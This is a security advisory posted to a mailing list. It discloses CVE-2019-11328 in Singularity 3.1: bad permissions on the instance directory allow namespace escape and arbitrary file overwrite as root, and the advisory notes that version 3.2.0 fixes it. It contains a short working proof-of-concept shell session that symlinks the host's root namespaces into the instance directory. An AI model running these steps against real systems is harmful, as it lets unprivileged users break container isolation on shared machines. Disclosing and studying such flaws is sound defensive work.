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Singularity 3.1.0: CVE-2019-11328: namespace privilege escalation and arbitrary file corruption
From: Matthias Gerstner <mgerstner () suse de>
Date: Thu, 16 May 2019 12:15:58 +0200
Hello, following is a report about a major security issue found in Singularity [1] major version 3.1. Introduction ============ Singularity is a Linux namespace based container solution often used in HPC (high performance computing) environments. In the course of a code review conducted for inclusion of the new Singularity major version 3 in SUSE enterprise products I found a major security issue. The issue affects Singularity versions >= 3.1.0 and it has recently been fixed in an update to version 3.2.0 [2]. The issue was introduced via upstream commit b4dcb0e4d77baa1c7647a4a5705ea824bb4e0dca [3]. Issue Details ============= Singularity 3 uses a setuid root program called `starter-suid` for setting up Singularity containers. The issue is that containers run as background instances get bad directory permissions in path `/run/singularity/instances/sing/<user>/<instance>`. The permission of these directories is set to "<user>:root" with mode 0550. Since the unprivileged user is the owner of the directory it may change the mode to arbitrary values and therefore also the content of the directory to arbitrary content. A result of this is that symlinks can be placed in the `ns` sub-directory that will be followed when joining the container instance and thus allow unprivileged users to enter arbitrary mnt, pid, net, cgroup, uts and ipc namespaces. Only user namespaces cannot be joined, because the `starter-suid` binary refuses to use user namespaces when running in the setuid context. (`starter-suid` also contains logic that is only intended for use when the program doesn't carry a setuid root bit). Furthermore, because the `starter-suid` program trusts the content of the JSON config file found in the instance directory, an attacker can modify this content to change the behaviour of the `starter-suid` program when joining a container. This way all desired namespaces can be configured or even the `noNewPrivileges` field can be set to false, allowing a user to join the container without the `PR_SET_NO_NEW_PRIVS` bit set (see `prctl()`). Even further, during creation of a background instance, the unprivileged user can try to win a race condition and place a symlink in path `/run/singularity/instances/sing/<user>/<instance>/<instance>.json`. The `starter-suid` program will follow this symlink and create and truncate an existing file in the target location. This allows to create or overwrite arbitrary files in the system with root privileges. The content written to the file is only partially attacker controlled, because the beginning of the JSON has a fixed structure. I couldn't work out a full local root exploit from these defects yet but all of the findings are very close to getting root and if putting in enough energy there's probably some way to achieve it. Being able to enter arbitary other namespaces is similar in consequences as CVE-2018-12021 was for Singularity major version 2. The issue has been fixed by usptream by moving the instance configuration file into the user's home directory, fixing the permissions of the directory in /run and not trusting certain parameters found in the instance's JSON configuration. PoC === For completeness here is a couple of lines that show a PoC for joining arbitrary ipc, pid and mnt namespaces based on Singularity release 3.1.1: ``` user $ singularity pull library://library/default/debian [...] user $ singularity instance start library://library/default/debian deb # this is the normal way of entering the container, becoming a member of # the regular container namespaces user $ singularity shell instance://deb deb-user $ ls -l /proc/$$/ns lrwxrwxrwx 1 user users 0 Apr 15 15:41 cgroup -> cgroup:[4026531835] lrwxrwxrwx 1 user users 0 Apr 15 15:41 ipc -> ipc:[4026532284] lrwxrwxrwx 1 user users 0 Apr 15 15:41 mnt -> mnt:[4026532285] lrwxrwxrwx 1 user users 0 Apr 15 15:41 net -> net:[4026531992] lrwxrwxrwx 1 user users 0 Apr 15 15:41 pid -> pid:[4026532283] lrwxrwxrwx 1 user users 0 Apr 15 15:41 pid_for_children -> pid:[4026532283] lrwxrwxrwx 1 user users 0 Apr 15 15:41 user -> user:[4026531837] lrwxrwxrwx 1 user users 0 Apr 15 15:41 uts -> uts:[4026531838] deb-user $ exit # now manipulate the state directory user $ cd /run/singularity/instances/sing/$USER/deb user $ ls -lhd . dr-xr-x--- 3 user root 80 15. Apr 15:38 . user $ chmod u+w . user $ rmdir ns user $ mkdir ns user $ cd ns user $ ln -s /proc/1/ns/pid user $ ln -s /proc/1/ns/mnt user $ ln -s /proc/1/ns/ipc # oberserve the changed values for pid, mnt and ipc. Of course joining # the root namespaces does not make much sense but it shows the # principle of operation user $ singularity shell instance://deb deb-user $ ls -l /proc/$$/ns lrwxrwxrwx 1 user users 0 15. Apr 15:43 cgroup -> 'cgroup:[4026531835]' lrwxrwxrwx 1 user users 0 15. Apr 15:43 ipc -> 'ipc:[4026531839]' lrwxrwxrwx 1 user users 0 15. Apr 15:43 mnt -> 'mnt:[4026531840]' lrwxrwxrwx 1 user users 0 15. Apr 15:43 net -> 'net:[4026531992]' lrwxrwxrwx 1 user users 0 15. Apr 15:43 pid -> 'pid:[4026531836]' lrwxrwxrwx 1 user users 0 15. Apr 15:43 pid_for_children -> 'pid:[4026531836]' lrwxrwxrwx 1 user users 0 15. Apr 15:43 user -> 'user:[4026531837]' lrwxrwxrwx 1 user users 0 15. Apr 15:43 uts -> 'uts:[4026531838]' ``` Timeline ======== 2019-04-15: I reported the finding to security () sylabs io 2019-04-18: Sylabs confirmed the issue and discussed various patching approaches with me. The process described in [4] has been triggered. 2019-05-15: The agreed upon coordinated-release-date was reached and Sylabs published the fixed version. References ========== [1]: https://www.sylabs.io [2]: https://github.com/sylabs/singularity/releases/tag/v3.2.0 [3]: https://github.com/sylabs/singularity/commit/b4dcb0e4d77baa1c7647a4a5705ea824bb4e0dca [4]: https://www.sylabs.io/singularity/security-policy Regards Matthias -- Matthias Gerstner <matthias.gerstner () suse de> Dipl.-Wirtsch.-Inf. (FH), Security Engineer https://www.suse.com/security Phone: +49 911 740 53 290 GPG Key ID: 0x14C405C971923553 SUSE Linux GmbH GF: Felix Imendörffer, Mary Higgins, Sri Rasiah HRB 21284 (AG Nuernberg)
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- Singularity 3.1.0: CVE-2019-11328: namespace privilege escalation and arbitrary file corruption Matthias Gerstner (May 16)